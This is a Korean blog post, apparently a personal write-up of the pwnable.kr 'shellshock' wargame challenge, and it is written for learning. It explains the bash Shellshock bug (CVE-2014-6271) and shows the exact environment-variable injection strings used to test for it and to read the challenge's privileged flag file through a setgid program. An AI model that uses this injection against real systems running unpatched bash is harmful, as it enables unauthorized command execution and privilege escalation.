shellshock에는 다음과 같은 파일들이 존재한다.
shellshock@prowl:~$ ls -l
total 960
-r-xr-xr-x 1 root shellshock 959120 Oct 12 2014 bash
-r--r----- 1 root shellshock_pwn 47 Oct 12 2014 flag
-r-xr-sr-x 1 root shellshock_pwn 8547 Oct 12 2014 shellshock
-r--r--r-- 1 root root 188 Oct 12 2014 shellshock.c
bash라는 파일이 실제 쉘을 실행시키는지 확인하기 위해 실행시켜봤다.
shellshock@prowl:~$ ./bash
shellshock@prowl:~$ ps
error: can not access /proc
shellshock@prowl:~$ exit
exit
shellshock@prowl:~$
실제 쉘이 실행되는 것을 확인할 수 있다.
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
다음은 쉘 코드를 한 번 실행해봤다.
쉘에 -c옵션으로 'echo shock_me'를 실행하는 것을 볼 수 있다.
실제 실행결과도 마찬가지였다.
shellshock@prowl:~$ ./shellshock
shock_me
입력받는 곳도 없으니 도저히 어떻게 해야 할지 모르겠어서 검색을 해보니 이번 단계 이름인 'shell shock' 그 자체가 취약점의 종류이었다.
shell shock라는 취약점이 존재한다는 것만 보고 바로 검색에 들어갔다. 참고한 내용은 맨 아래에 링크를 두겠다.
정리해보자면 shellshock는 bash에 존재하는 대표적인 취약점이다.
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
이런 식으로 shellshock 취약점을 점검할 수 있다.
'test'만 출력되면 안전한 것이지만 'vulnerable'도 함께 출력된다면 취약점이 존재하는 것이다.
shellshock@prowl:~$ env x='() { :; }; echo vulnerable' bash -c "echo this is test"
this is test
shellshock@prowl:~$ env x='() { :; }; echo vulnerable' /home/shellshock/bash -c "echo this is test"
vulnerable
this is test
? 그냥 bash로 했을 때에는 실행이 원하는 결과가 안나오고 주어진 bash를 사용해야 원하는 결과를 얻었다. 이런 현상에 대하여 공부하던 중에 취약점 해결방안으로 최신 버전 패치가 있는 것을 보고 버전 체크를 해보았다.
shellshock@prowl:~$ bash --version
GNU bash, version 4.3.48(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
shellshock@prowl:~$
shellshock@prowl:~$ ./bash --version
GNU bash, version 4.2.25(1)-release (x86_64-pc-linux-gnu)
Copyright (C) 2011 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
역시 예상이 맞았다.
다시 돌아가서 shell shock에 대하여 설명을 해보겠다.
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
빨간색 부분은 환경변수명이 x인 환경변수를 등록하는 방식이다.
초록색 부분은 환경변수에 등록하는 함수의 이름이다.
보라색 부분은 환경변수에 등록한 함수의 body가 된다.
노란색 부분은 등록한 함수 뒤에 이어서 쓴 공격코드가 된다.
검은색 부분은 앞에 등록한 환경변수를 이용하여 실행하는 코드이다.
위의 환경변수 등록 형태는 함수를 등록하는 형태인데 bash 쉘에서는 위와 같이 함수를 등록할 수 있다고 한다.
문제는 함수를 등록하면서 parsing문제 때문에 함수 뒤에 이어서 쓴 명령어도 환경변수의 일부로써 들어가게 되고, bash가 새로 시작하면서 환경변수들을 새로 불러온다. 그러면서 문자열의 환경변수가 진짜 함수가 되는데, 뒤의 코드들이 무시되거나 에러를 발생시키지 않고 공격코드마저 진짜 코드가 되는 것이다.
그리고 한가지 더, 위는 환경변수를 등록함과 동시에 취약한 bash쉘을 실행시켜 넘겨주는, 쉘을 획득한 상태로 진행한 경우이지만, 특정 프로그램이 취약한 쉘을 실행시키는 경우 모두 사용 가능하다.
위 문제는 'shell shock'가 취약한 bash쉘을 실행시키고, 권한 상승의 필요성 때문에 먼저 쉘을 획득하고 실행시키는 것이 아닌 취약한 쉘을 실행시키는 프로그램을 이용하는 방식으로 풀어야 한다. 쉘을 얻지 않은 상태에서 진행할 수 있다는 점이 중요한 점인 것 같다.
shellshock@prowl:~$ env x='() { :; }; /bin/cat ./flag' ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault (core dumped)
이번 것으로 bash에도 취약점이 있다는 것을 알게 되었다. 게다가 이 sehll shock은 쉘에 취약점이 있다보니까 원격 공격으로도 다양한 서비스들에 영향을 끼칠 수 있다는 것도 알게 되었다.
잘못된 점이나 부족한 점 지적해주시면 감사하겠습니다
<참고>
http://wiki.hash.kr/index.php/%EC%85%B8%EC%87%BC%ED%81%AC
https://tar-cvzf-studybackup-tar-gz.tistory.com/48
https://namu.wiki/w/%EC%85%B8%EC%87%BC%ED%81%AC?from=%EC%89%98%EC%87%BC%ED%81%AC
'pwnable > pwnable.kr' 카테고리의 다른 글
[pwnable.kr Toddler's Bottle] memcpy write up (0) | 2019.08.25 |
---|---|
[pwnable.kr Toddler's Bottle] uaf write up (0) | 2019.08.22 |
[pwnable.kr Toddler's Bottle] blackjack write up (0) | 2019.08.22 |
[pwnable.kr Toddler's Bottle] coin1 write up (0) | 2019.08.18 |
[pwnable.kr Toddler's Bottle] mistake write up (0) | 2019.08.17 |